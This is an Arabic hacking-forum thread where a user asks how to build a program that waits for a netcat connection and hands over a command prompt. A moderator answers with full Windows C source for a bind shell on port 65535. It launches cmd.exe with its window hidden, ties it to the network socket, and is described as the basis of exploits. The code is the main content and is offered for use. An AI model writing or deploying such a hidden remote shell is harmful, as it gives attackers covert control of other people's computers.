السلام عليكم, تعتقد ان السؤال واضح,
اريد ان اصمم برنامج, الغرض منه ان يبقى مستمع الى ان ياتى اتصال من ال netcat و تستطيع ال netcat السيطرة على الجهاز و فتح محث ال dos
السلام عليكم, تعتقد ان السؤال واضح,
اريد ان اصمم برنامج, الغرض منه ان يبقى مستمع الى ان ياتى اتصال من ال netcat و تستطيع ال netcat السيطرة على الجهاز و فتح محث ال dos
Do as I say, not as I do
We are Anonymous. We are Legion. We don't forgive. We don't forget
يا اخي انت كتبت الحل بايدك النت كات يعتبر افضل مستمع
لا يا اخوان
الطريقة بسيطة جداً لأنها اصلا غير منطقية !!!!!!!!!!!!!!!!!!!!!!!!
شوفو الحل:
ترجم هذا الكود
int main(void) { //Bind Shell. POrt 65535
SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
exit(1); }
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);
ZeroMemory( &si, sizeof(si) ); ZeroMemory( π, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,π)) {
return(-1);
}
//WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
Sleep(5000);
return(1);
}هذا الكود البسيط هو ما يعرف بال Bind port
وهو المستخدم في جميع الثغرات
شغل البرنامج وأتصل على البورت 65535
ستلاحظ ان برنامج اول ما يستقبل اي امر على طول يقوم بتشغيل الدوس cmd.exe
ويمرر له الامر ؟؟
وبهذا يربط محث الأوامر عن بعد وهذا ما تقوم به اداة nc.exe
*************************************************
مجموعة مواضيع - إحتراف البرمجة -
ّ~~~~~~~~~~~~~~~~~~~~~~
البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة
آخر المواضيع :
أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات
ثغرة SMS لأجهزة الجوال Siemens 3568i !
أخطاء وثغرات البرامج العربية !!!
سلسلة مواضيع - أمن وحماية مواقع الويب -
E البرمجة المتقدمة X للملفات التنفيذية E
سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة
**************************************************
<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>
**************************************************
السلام عليكم و رحمة الله
اولا اود ان اشكرك المشرف JAAS لان هذا بالضبط هو ما اريد ان اعرفه
هذا الموضوع مغلق.